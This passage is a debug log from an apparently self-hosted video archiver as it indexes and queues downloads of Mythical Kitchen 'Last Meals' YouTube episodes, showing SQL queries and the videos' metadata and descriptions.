s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:38.307 [debug] QUERY OK source="media_items" db=0.1ms idle=249.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 10:00:33Z], 1] 20:47:38.308 [debug] QUERY OK source="media_items" db=0.7ms idle=250.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ciara eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ciara's Last Meal\n0:28 Josh's Thesis On RIDE\n1:54 Ciara Loves To Live\n3:00 Ciara's Team Makes Her Want To Cry\n4:15 1st Course\n5:00 Ten To One\n6:16 Ciara's Waffle House Order\n7:06 Love For Family\n8:11 Professional Wing Eater\n8:44 Ciara's Epiphany\n10:30 Self-Belief At 14\n12:35 Independent Music\n13:21 Rules Of Coke\n14:10 2nd Course\n15:59 This World Is Going To Move Without You\n17:37 Check Your Compass\n19:51 Manifestation vs. Prayer\n21:57 3rd Course\n23:01 Not Glorifying Toxic Things\n23:43 Manifesting Russell Wilson\n25:22 The Busted Wallet Theory\n26:12 CIARA LORE FROM THE MYTHICAL KITCHEN\n27:22 4th Course\n27:56 Like You're Running Out Of Time\n29:22 Matthew 16:26\n31:38 Impact\n33:10 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:37 Ciara's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Ciara Eats Her Last Meal", "cb696ad4-5585-473d-ab2b-a4fc66de79b0", "https://www.youtube.com/watch?v=GAFJ8istWgk", false, "GAFJ8istWgk", 2375, false, 30, "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", false, false, 1, [], 0, ~U[2025-07-17 10:00:33Z], ~U[2026-03-28 00:47:38Z], ~U[2026-03-28 00:47:38Z], "Today, Ciara eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ciara's Last Meal\n0:28 Josh's Thesis On RIDE\n1:54 Ciara Loves To Live\n3:00 Ciara's Team Makes Her Want To Cry\n4:15 1st Course\n5:00 Ten To One\n6:16 Ciara's Waffle House Order\n7:06 Love For Family\n8:11 Professional Wing Eater\n8:44 Ciara's Epiphany\n10:30 Self-Belief At 14\n12:35 Independent Music\n13:21 Rules Of Coke\n14:10 2nd Course\n15:59 This World Is Going To Move Without You\n17:37 Check Your Compass\n19:51 Manifestation vs. Prayer\n21:57 3rd Course\n23:01 Not Glorifying Toxic Things\n23:43 Manifesting Russell Wilson\n25:22 The Busted Wallet Theory\n26:12 CIARA LORE FROM THE MYTHICAL KITCHEN\n27:22 4th Course\n27:56 Like You're Running Out Of Time\n29:22 Matthew 16:26\n31:38 Impact\n33:10 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:37 Ciara's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Ciara Eats Her Last Meal", "https://www.youtube.com/watch?v=GAFJ8istWgk", "GAFJ8istWgk", 2375, false, "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", false, 1, ~U[2025-07-17 10:00:33Z]] 20:47:38.308 [debug] QUERY OK source="sources" db=0.1ms idle=251.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:38.309 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:38.309 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [30] 20:47:38.309 [info] Kicking off download for media item #30 (GAFJ8istWgk) 20:47:38.310 [debug] QUERY OK source="tasks" db=0.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [33, 30, ~U[2026-03-28 00:47:38Z], ~U[2026-03-28 00:47:38Z]] 20:47:38.310 [debug] Current batch of media processed. Will check again in 1000ms 20:47:39.311 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Kelly Rowland is eating her last meal.\n\n#meaculpa is now streaming on Netflix!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Kelly's Last Meal Menu\n0:30 Sending A Text With Excel\n2:08 How Often Do You Think About Death?\n3:26 1st Course: Caviar & Potato Chips\n4:44 Producing Mea Culpa\n6:30 Kelly's First Onscreen Death\n8:47 The Most Beautiful Explanation Of Death\n11:02 2nd Course - Tacos, Cheeseburger, Fries, & Pineapple Margarita\n14:57 Early Career & Singing In Church\n17:10 Learning Self Worth Through Parenting\n19:59 New Music & Current Genre Obsessions\n21:50 3rd Course - A5 Wagyu & Mashed Potatoes\n24:31 Working Hard For The Finer Things\n27:05 Parenting As A Healing Journey\n28:43 Raising Emotionally Intelligent Kids\n30:30 4th Course - Peach Cobbler, Chocolate Peanut Butter Pie, & Chocolate Cake\n33:14 Chosen Family With Beyonce & Reconnecting With Dad\n37:08 Lightning Round\n39:59 Kelly's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2470, "filename" => "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", "id" => "o2MMhAcHMEk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=o2MMhAcHMEk", "playlist_index" => 31, "timestamp" => 1709031641, "title" => "Kelly Rowland Eats Her Last Meal", "upload_date" => "20240227"} 20:47:39.312 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:39.312 [debug] QUERY OK source="sources" db=0.3ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:39.313 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-27 11:00:41Z], 1] 20:47:39.317 [debug] QUERY OK source="media_items" db=2.6ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Kelly Rowland is eating her last meal.\n\n#meaculpa is now streaming on Netflix!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Kelly's Last Meal Menu\n0:30 Sending A Text With Excel\n2:08 How Often Do You Think About Death?\n3:26 1st Course: Caviar & Potato Chips\n4:44 Producing Mea Culpa\n6:30 Kelly's First Onscreen Death\n8:47 The Most Beautiful Explanation Of Death\n11:02 2nd Course - Tacos, Cheeseburger, Fries, & Pineapple Margarita\n14:57 Early Career & Singing In Church\n17:10 Learning Self Worth Through Parenting\n19:59 New Music & Current Genre Obsessions\n21:50 3rd Course - A5 Wagyu & Mashed Potatoes\n24:31 Working Hard For The Finer Things\n27:05 Parenting As A Healing Journey\n28:43 Raising Emotionally Intelligent Kids\n30:30 4th Course - Peach Cobbler, Chocolate Peanut Butter Pie, & Chocolate Cake\n33:14 Chosen Family With Beyonce & Reconnecting With Dad\n37:08 Lightning Round\n39:59 Kelly's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kelly Rowland Eats Her Last Meal", "a3f42582-cba7-4dc9-a583-9a0d8c6130ec", "https://www.youtube.com/watch?v=o2MMhAcHMEk", false, "o2MMhAcHMEk", 2470, false, 31, "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", false, false, 1, [], 0, ~U[2024-02-27 11:00:41Z], ~U[2026-03-28 00:47:39Z], ~U[2026-03-28 00:47:39Z], "Today, Kelly Rowland is eating her last meal.\n\n#meaculpa is now streaming on Netflix!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Kelly's Last Meal Menu\n0:30 Sending A Text With Excel\n2:08 How Often Do You Think About Death?\n3:26 1st Course: Caviar & Potato Chips\n4:44 Producing Mea Culpa\n6:30 Kelly's First Onscreen Death\n8:47 The Most Beautiful Explanation Of Death\n11:02 2nd Course - Tacos, Cheeseburger, Fries, & Pineapple Margarita\n14:57 Early Career & Singing In Church\n17:10 Learning Self Worth Through Parenting\n19:59 New Music & Current Genre Obsessions\n21:50 3rd Course - A5 Wagyu & Mashed Potatoes\n24:31 Working Hard For The Finer Things\n27:05 Parenting As A Healing Journey\n28:43 Raising Emotionally Intelligent Kids\n30:30 4th Course - Peach Cobbler, Chocolate Peanut Butter Pie, & Chocolate Cake\n33:14 Chosen Family With Beyonce & Reconnecting With Dad\n37:08 Lightning Round\n39:59 Kelly's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kelly Rowland Eats Her Last Meal", "https://www.youtube.com/watch?v=o2MMhAcHMEk", "o2MMhAcHMEk", 2470, false, "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", false, 1, ~U[2024-02-27 11:00:41Z]] 20:47:39.318 [debug] QUERY OK source="sources" db=0.2ms idle=281.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:39.319 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:39.319 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 20:47:39.319 [info] Kicking off download for media item #31 (o2MMhAcHMEk) 20:47:39.322 [debug] QUERY OK source="tasks" db=0.2ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [34, 31, ~U[2026-03-28 00:47:39Z], ~U[2026-03-28 00:47:39Z]] 20:47:39.322 [debug] Current batch of media processed. Will check again in 1000ms 20:47:40.323 [debug] Current batch of media processed. Will check again in 1000ms 20:47:41.325 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "This episode includes mention of self harming behavior and drug addiction, which may not be suitable for all audiences. Please enjoy at your discretion. Today, Andrew Zimmern eats his last meal. \n\nTune in to Grill Week all day from June 30th to July 4th, streaming on Tastemade: https://www.tastemade.com/grill-week-2025\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Andrew's Last Meal\n0:22 Alternate Names For Bizarre Foods\n1:48 Have You Thought About Your Last Meal Before?\n2:22 Shucking Clams At The Beach\n3:18 1st Course\n4:09 Food Gives Us The Chance To Revisit Memories\n6:00 Patience, Tolerance, & Understanding\n8:47 Otter vs. Bear\n9:20 Andrew's Inspiration\n11:15 Defining A Great Chef\n12:45 Inspector Gadget Meets Pacman\n13:30 2nd Course\n15:30 What Makes You Cry?\n17:39 Spending Thanksgiving At The Salvation Army\n20:12 \"Can You Help Me?\"\n22:33 3rd Course\n25:16 From Dishwasher To Chef\n27:30 Anthony Bourdain\n29:50 Someone Who Truly Knows You\n32:43 4th Course\n34:03 A Second Date\n35:09 No One Can Buy Time\n36:24 What Do You Think Happens When You Die?\n37:36 Lightning Round\n40:55 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2574, "filename" => "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", "id" => "PKwAk6CDqKc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PKwAk6CDqKc", "playlist_index" => 32, "timestamp" => 1750932048, "title" => "Andrew Zimmern Eats His Last Meal", "upload_date" => "20250626"} 20:47:41.326 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=285.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:41.326 [debug] QUERY OK source="sources" db=0.2ms idle=268.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:41.327 [debug] QUERY OK source="media_items" db=0.6ms idle=269.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 10:00:48Z], 1] 20:47:41.331 [debug] QUERY OK source="media_items" 